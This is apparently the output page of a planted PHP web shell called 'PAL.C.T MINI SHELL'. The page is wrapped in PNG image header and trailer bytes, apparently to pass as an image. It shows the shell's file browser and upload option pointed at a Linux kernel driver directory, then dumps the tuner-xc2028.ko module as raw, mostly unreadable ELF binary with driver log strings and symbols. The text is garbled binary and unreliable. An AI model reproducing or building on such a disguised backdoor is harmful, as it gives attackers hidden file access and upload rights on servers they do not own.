php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-431.29.2.el6.i686/kernel/drivers/media/common/tuners/
upload
files >> //lib/modules/2.6.32-431.29.2.el6.i686/kernel/drivers/media/common/tuners/tuner-xc2028.ko

ELFm4(GNUwg0JdDjY2{jS uC1[CD$KtdL$D$D$L$CT$$D$T$몍&SÃ3@ fb@@fs Qf/
v Q@,uwuY u;@u[ÉT$$T$҉T$$͉T$$T$믉T$$T$둉T$$T$pT$$T$OT$$T$*T$$T$T$$T$T$$T$T$$T$T$$T$qT$$T$LT$$T$'T$$T$T$$|T$T$$vT$T$$pT$T$$kT$tT$$cT$PT$$_T$.T$$YT$T$$RT$T$$LT$T$$GT$T$$AT$T$$:T$aT$$3T$?T$$.T$T$$'T$T$$ T$fWVSÃ8
йfD$6CT$7T$6T$$T$fD$fD$fD$(D$4D$0CfD$ fD$*fD$,t@CKtdCD$|$L$T$D$$ C4u)uT$4D$5	f18[^_Ít&ЋHxtdD$CʁT$L$D$|$D$$T$(l$$-|$ ׉\$t$ fD$sh؍L$vx.f|$tXL$@Xx1f|$fD$D$f5ua\$t$|$ l$$(ÍvfD$럋SKtdщT$D$D$C$D$8KstdD$T$D$C$XD$_&S˃f\$T$fD$f$@E؃[Í&WVS
u^GtPW ~"11fGD09_ G1GG H r[^_ËPHtdщT$D$DD$G$D$cWVSӃ= ~hF,V,SPSPSPSPSPSP~0F0
t#V,tu+F,t)1ۉ؃[^_ÍF,ĻҋVNtdщT$D$2D$F$D$%'UWVSӃ@L$ 
 ;W6ut$ FٽLL w \W1ۉ|$(ЉT$,t&9}N0!9u|$ ?|$$|$ wx1|$|$$3x|$uNj|$(t$0T$$D$ t$0pT$,11ۋ|$(D$8D$<f9_ W!9uD$ D$D$ @D$(BD$$RD$#D$$T$0T$(#T$0T$,	tT$!‰T$4T$,#T$(T$T$(1T$T$1T$4T$T$4>T$,L$9D$8L$Z\$<D$89_ RvD$8-@[^_]Í&k tٽ  ?فu(ف4t4fFWOtdD$T$D$G$D$=~1҉L$ Q\$$D$T$Owۺ%oHƒtdD$l$T$GL$$D$=L$1҉|$ L$WL$$D$T$}WOtdѻT$D$G$D$A=uW1҉L$\$ L$SL$$T$D$GkT$<\$<L$tt$$TT$0W_tdt$8ۉ\$D$t$GL$$D$L$bt&'t$Ɖ\$ tCt2Ct<1dž \$t$ÍC,C뺋SKtdщT$D$C$@D$낋SKtdщT$D$D$C$D$#vUWVSmn{&btCt狀d;duN:KuɉL$D$C$D$CCK71׹5DžXceiBve XBC302B8ǂހǂ3ǂPǂp
ǂ ǂ3ǂ`1ǂ ǂǂSKtdщT$D$\D$C$D$Vt	[^_]Ðt&(Ѐ|uL1[^_]É C0
ChP NHCICtdɉL$T$D$I$عCC)$d$0F&0t$(5\$$|$, C<
>shf{$v{CT$fD$fD$D$ .fD$Ct	C4CHv1\$$t$(|$,0Ít&CT$fD$fD$D$ 2fD$CttSKtd|$D$щT$D$C$dD$VFSKtd|$D$뫋SKtdщT$D$C$D$=SKtdщT$D$C$8D$GULueE1}]M싞 C0)ġ|$'My ЋUe3u
]u}]CECtdEL$D$CU$D$ŰCk1ҋMUM̋RD$T$C$D$MKAI9ȉM>H9M؉Mf"W}}KuԉމU܉Mf^f=f=tGvKtdD$T$D$C$D$Eԋ )s@ h1ҹ$Ӆ9}ZW9UfA/fЍ9MLfMfEt}t&]f)]F0]U9O؋E܉ٍ{UE9ljF4tUU롋Eԋ t&t@ tx11$Ӆ}S7KtdT$щT$D$C$D$/v}B@B@1
KMCtdED$L$D$CU$D$U%>SKtdщT$D$C$D$tvKtdT$щT$D$C$D$0FEӋFtdEӉT$|$L$D$FU$hD$U}KvtdM؁+MT$t$L$D$C$8D$UWVST$`$D$<$L$h$T$PT$<D$Le$1fL$Z
 ɉT$H,D$HhD$\kD$< D$dEAE<]Hދ\$dD$0D$LT$P$D$tT$xL$pL$Z$D$|E8DŽ$f$
 ҉$$}H%LLT$,1;D$,9uT$PD$L3UX3ET	E`T$pL$tD$<D$9E`T$p
$	‹D$<$L$4 D$,f
D$<L$tFx4L$,<[A؋H@|$4x$k$nPE< $M$Љ%	9ZUMtdɉL$D$E$H	D$1 r|$0d
2
D$0t& rL$< [@ P11$ӅcT$p$D$<DŽ$DŽ$*T$p$D$<@j}&}HL$pRt&E&f{f;$E(9wD$pD$tCD$xCD$|C$C$C$C$CMH|$hD$HPH Oл%|$`w^Eٍ t$pEڋT$Hfz$BfD$rfD$tD$x fD$pBt	ET$HB4QL$< t)@ $1׋D$`)ػC
ӉT$H$Ƅ$$$BfD$rfD$tfD$p$D$xB:$
L$HA4x%dT$`D$HP1D$\$e3
o[^_]Í&$$E$$(&$f=.f=$EMtdT$D$E$	D$t&%ہ U"v|$4$xkD$4D$4&Ud;$f=EMtdT$D$E$LD$vT$HBfD$rfD$tD$xfD$pBKBD$HH@td|$D$L$HD$T$A$dD$T$HB4WvaEMtdT$D$E$D$*t&L$HA4fT$pL$tD$<t&B@t&4B@qt&},(
5T$< DŽ$1=u{,kCH4$D$d$p#D$,f
N"$F$F$F$F$F$F$FƄ$$V fS$L$4F"D$TKL$0Ctd‰D$ ƉD$$D$D$TL$|$D$D$0D$C$D$T$TRЀC|$4L$Tt$,t$,K 9|$,XL$TD$,)R1D$4l$l,&D$4D$49D$T_D$,)T$0GWD$0@fD$:D$@GT$DtWGfT$:T$,)ƒ8hL$,)9KЀL$(L$(ACD0CL$00CL$DT$@L0T0C|0C|=L$:fL09|$,D$4S l$lT$T;D$Tu$t$d
CKtdT$D$C$D$vffvT$Ht$pBfD$rfD$tD$xfD$pBt	L$H1ۋA45+T$p$D$<@-D$,1ۋH ~%T$,1ۋB
9}f;xu@t9(t_SKtdT$d|$D$T$щT$C$D$\$dtx	vSKtdщ|$T$D$C$PD$몁x{kD$4f<kkD$4DAD$4D$,H@tdL$,T$D$A$D$D$,XSsT$xD$tT$T$,D$B$D$L$,fy$
Ϻ*A
T$,B4tT$4G	T$,B4tovfE&$0fE(NL$,)CstdT$t$CL$($wD$1ҋD$0eT$DL$(D$@|$T$T$0L$D$$T$SKtdщT$D$C$xD$SKtdщT$D$C$D$$vSKtdщT$D$C$HD$ISKtdщT$D$C$xD$CKtdD$T$C$D$=t6T$:D$0T$DD$@|$T$T$0D$$T$CD01SKtdщT$D$C$<D$EMtdD$T$E$D$=tmD$p1FD$|$$D$D$pT$D$f|$Z$$D$$$D$L$pgEMtdT$D$E$D$EMtdT$D$E$	D$EMtdD$T$E$HD$}HL$pEMtd\$T$D$E$D$9EMtdT$D$E$D$EMtd\$T$D$E$tD$D$HPHtdщT$T$H|$D$D$B$hD$$$fL$4E׈D$,EtdЃD$ Ё%D$fD$D$4T$L$D$D$,D$E$D$T$HBrtdD$`1һL$L$HD$‰D$A$D$=D$< ;EMtdT$D$zD$E$D$BJtdL$HT$D$iD$A$D$E$]tdÉL$T$D$E$|D$$L$<$T$pD$4$ =L$,AYtdL$L$,D$D$AT$($D$T$(PCKtd|$T$D$C$,D$ZCKtdD$D$T$C$D$UMtdщT$D$E$D$$uT$,B4t1D$,H@tdL$,\$D$D$T$A$dD$ySKtdщ|$T$D$C$D$X$E81wE8$D$d$$T$H$L$4L$HD$0$RT$,AtdD$`@B1һ|$l$L$Ɖ1T$Ht$ D$$D$4D$D$0D$D$,D$B$	D$;D$,H@tdL$,\$T$D$D$A$hD$nSKtdщT$D$C$D$L$HQYtdT$Hۉ\$1ۉD$D$L$B$dD$	D$,H@td\$D$L$,D$T$A$dD$||$,&,ID$,H@td\$D$눋D$HH@td|$D$tf(|$ =\$Ӊl$$ʼnt$ {K{s	twD$1ҹuq		CD$D$i$KL$$D$\$t$|$ l$$(C1CD${1ҹq1ҹS1ҹ51ҹ	1ҹ11F<D$D$D$<iq$VNtdщT$D$RD$F$D$&'(l$$-\$Ét$|$  t,\$t$|$ l$$(Ðt&B19so:G<G<<DG@1Ʌtf$f&Ootdl$D$GT$$,
D$T$tGDG@=1ɅML$ع4$D$D$t&G<G<:w`G<G<<DTt& g<Dt&G@lt&G@t&`̐G<G<랍t&OwtdD$t$D$GT$$D$T$@V_kkkkkk+0kDIk]bkv{kkkkkkk%*k>CkW\kpukkkkkkk$k8=kQVkjokkks_dkvk&iqrkkXszbb
k*Binprb		k/	
m
kk1:k@lykkkO
X
k



i


r
bk!h(bM[dk}
i



kk
r2tAcL
Qr~lk

ok
k)Oai
sr
sU^kivkkeQfkkkav.7kkvk-6kxkk.PiV"Kkv
sXvsvrk"S\k
sk	 : C kQ ve v v   !_""k"w#w0#A#a#\###k;$J$sn$v$%-%kx%%k%%k&#&k:&
d&v&v&&k.'7'kb'k'k''k'\''k( (kN(W(k](((k((k	))k)8)M)kh)q)k))k)f))k))k-*6*ko*x*k**k**k,+5+k++k
,,k,P,^,g,k,,,k,,k-L-^-g-k--k---k-.!.k0.
N.v..k..k..k./k//k00k:0C0k00k00k0
i1111jA2F2K2j_2d2i2j}222j222j222jR3`3i3k344k555kxc2028_signalxc2028_get_regxc2028_get_frequencyxc2028_set_configfree_firmwarexc2028_set_analog_freqgeneric_set_freqcheck_firmwareload_all_firmwaresload_firmwareseek_firmwareload_scodexc2028_set_paramsxc2028_dvb_releasefirmware_nameaudio_stdno_poweroffdebug<7>%s %d-%04x: %s called
BASE INIT1 F8MHZ MTS D2620 D2633 DTV6 QAM DTV7 DTV78 DTV8 FM INPUT1 LCD NOGD MONO ATSC IF LG60 ATI638 OREN538 OREN36 TOYOTA388 TOYOTA794 DIBCOM52 ZARLINK456 CHINA F6MHZ INPUT2 SCODE HAS_IF_%d (%x), id %016llx.
(%x), id %016llx:
FoundCan't find<3>xc2028: No frontend!
xc2028&priv->lockXCeive xc2028/xc3028 tuner<3>%s %d-%04x: Firmware type (%x), id %llx, size=%d.
(%x), id %016llx, scode_tbl (%x), int_freq %d, scode_nr %d
A2A2/AA2/BNICAMNICAM/ANICAM/B<7>%s %d-%04x: %s %04x called
<3>%s %d-%04x: i2c input error: rc = %d (should be %d)
<7>%s %d-%04x: signal strength is %d
<7>%s %d-%04x: %s called, want type=<3>%s %d-%04x: Error! firmware not loaded
<7>%s %d-%04x: Selecting best matching firmware (%d bits) for type=<7>%s %d-%04x: %s firmware for type=<6>%s %d-%04x: destroying instance
<7>xc2028: Xcv2028/3028 init called!
<6>%s %d-%04x: attaching existing instance
<6>%s %d-%04x: creating new instance
<6>%s %d-%04x: type set to %s
<7>%s %d-%04x: Putting xc2028/3028 into poweroff mode.
<7>%s %d-%04x: Printing sleep stack trace:
<3>%s %d-%04x: Error on line %d: %d
<6>%s %d-%04x: Loading firmware for type=<3>%s %d-%04x: Firmware chunk size is wrong
<3>%s %d-%04x: Error at RESET code %d
<6>%s %d-%04x: Invalid RESET code %d
<3>%s %d-%04x: missing bytes: need %d, have %d
<6>%s %d-%04x: i2c output error: rc = %d (should be %d)
<3>%s %d-%04x: %d returned from send
<7>%s %d-%04x: should set frequency %d kHz
<6>%s %d-%04x: xc2028/3028 firmware name not set!
<7>%s %d-%04x: Reading firmware %s
<3>%s %d-%04x: Error: firmware %s not found.
<3>%s %d-%04x: Error %d while requesting firmware %s 
<3>%s %d-%04x: Error: firmware file %s has invalid size!
<6>%s %d-%04x: Loading %d firmware images from %s, type: %s, ver %d.%d
<3>%s %d-%04x: Not enough memory to load firmware file.
<3>%s %d-%04x: More firmware images in file than were expected!
(%x), id %llx is corrupted (size=%d, expected %d)
<7>%s %d-%04x: Reading firmware type <3>%s %d-%04x: Firmware file is incomplete!
<3>%s %d-%04x: Firmware header is incomplete!
<3>%s %d-%04x: Error: firmware file is corrupted!
<6>%s %d-%04x: Releasing partially loaded firmware file.
<7>%s %d-%04x: Firmware files loaded.
<7>%s %d-%04x: checking firmware, user requested type=<7>%s %d-%04x: BASE firmware not changed.
<3>%s %d-%04x: Error %d while loading base firmware
<7>%s %d-%04x: Load init1 firmware, if exists
<3>%s %d-%04x: Error %d while loading init1 firmware
<7>%s %d-%04x: Std-specific firmware already loaded.
<7>%s %d-%04x: SCODE firmware already loaded.
<7>%s %d-%04x: Trying to load scode %d
<6>%s %d-%04x: Loading SCODE for type=<3>%s %d-%04x: Unable to read tuner registers.
<7>%s %d-%04x: Device is Xceive %d version %d.%d, firmware version %d.%d
<3>%s %d-%04x: Incorrect readback of firmware version.
<3>%s %d-%04x: Read invalid device hardware information - tuner hung?
<7>%s %d-%04x: Retrying firmware load
<7>%s %d-%04x: divisor= %02x %02x %02x %02x (freq=%d.%03d)
<3>%s %d-%04x: error: bandwidth not supported.
license=GPLauthor=Mauro Carvalho Chehab <mchehab@infradead.org>author=Michel Ludwig <michel.ludwig@gmail.com>description=Xceive xc2028/xc3028 tuner driverparm=firmware_name:Firmware file name. Allows overriding the default firmware name
parmtype=firmware_name:stringparm=audio_std:Audio standard. XC3028 audio decoder explicitly needs to know what audio
standard is needed for some video standards with audio A2 or NICAM.
The valid values are:
A2
A2/A
A2/B
NICAM
NICAM/A
NICAM/B
parmtype=audio_std:stringparm=no_poweroff:0 (default) powers device off when not used.
1 keep device energized and with tuner ready all the times.
  Faster, but consumes more power and keeps the device hotter
parmtype=no_poweroff:intparm=debug:enable verbose debug messagesparmtype=debug:intsrcversion=67BF9371B01A82FAC849AFAdepends=i2c-corevermagic=2.6.32-431.29.2.el6.i686 SMP mod_unload modversions 686 `
g d^d ^$(0q4u8<DqHuLxc2028_attachnAmodule_layout[__kmallocmsleepiparam_get_intmalloc_sizesM^ki2c_transfer(mutex_unlock%Kparam_set_intkstrdupC__list_addZ%strcmpdkHhweight64[|J__mutex_init՗#printkXstrcasecmpmutex_lock[D!list_del__stack_chk_fail`-kdump_stack޻Aparam_set_copystringEkmem_cache_alloc_tracezkfreeκ`.memcpy%{request_firmwareIparam_get_stringrelease_firmware 



tuner_xc2028Hdmodule.sigFTe,
	`+?3NyDShj^`bt@f1	
i%+:p>V@et809pD 2 	Ep
%4O \3zn`1.2 ~ *z*i9HW$b&mwR 5`/.	'T=4W
m`6


`!9(
Me@)si<
 #BL"3DpRY_v
E
 -:GU\tuner-xc2028.cxc2028_get_frequencydebug__func__.27127dump_firm_type_and_int_freqxc2028_get_reg__func__.25619xc2028_signal__func__.26692tuner_i2c_xfer_sendfree_firmware__func__.25790xc2028_set_config__func__.27150seek_firmware__func__.26009xc2028_dvb_releasexc2028_list_mutex__func__.27086hybrid_tuner_instance_listxc2028_sleepxc2028_set_paramsxc2028_set_analog_freq__key.27202no_poweroff_val.27018_val.27015load_firmware__func__.26144generic_set_freq_val.26751_val.26754firmware_name_val.26748_val.26298__func__.26447__func__.26746__func__.26294__func__.25827_val.26306_val.26301audio_std__func__.26896__func__.26940__mod_license1356__mod_author1355__mod_author1354__mod_description1353__ksymtab_xc2028_attach__kstrtab_xc2028_attach__kcrctab_xc2028_attach__mod_firmware_name55__mod_firmware_nametype53__param_firmware_name__param_str_firmware_name__param_string_firmware_name__mod_audio_std50__mod_audio_stdtype39__param_audio_std__param_str_audio_std__param_string_audio_std__mod_no_poweroff36__mod_no_powerofftype33__param_no_poweroff__param_str_no_poweroff__mod_debug30__mod_debugtype29__param_debug__param_str_debugtuner-xc2028.mod.c_rheldata__mod_srcversion50__module_depends____versions__mod_vermagic5release_firmware__this_moduleparam_get_stringrequest_firmwarexc2028_attachmemcpykfreekmem_cache_alloc_traceparam_set_copystringdump_stack__stack_chk_fail__crc_xc2028_attachlist_delmutex_lockstrcasecmpprintk__mutex_inithweight64strcmp__list_addkstrdupparam_set_intmutex_unlocki2c_transfermalloc_sizesparam_get_intmsleep__kmalloctuner-xc2028.ko.debug^X.rodata.str1.1.rodata.str1.4.rel.data.rheldata.rel.rodata.rel__kcrctab.symtab.rel__ksymtab.strtab.shstrtab.note.gnu.build-id.gnu.linkonce.this_module.note.module.sig.gnu_debuglink.rel__param.modinfo__ksymtab_strings__versions.bss.rel.textu4$`5	\6P7B&3	C2C2E\
`P YdTU	lT	C|T?	TTP	T
XU)fUU #\8	8\ `\L ]4]`M^\cefkkl
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`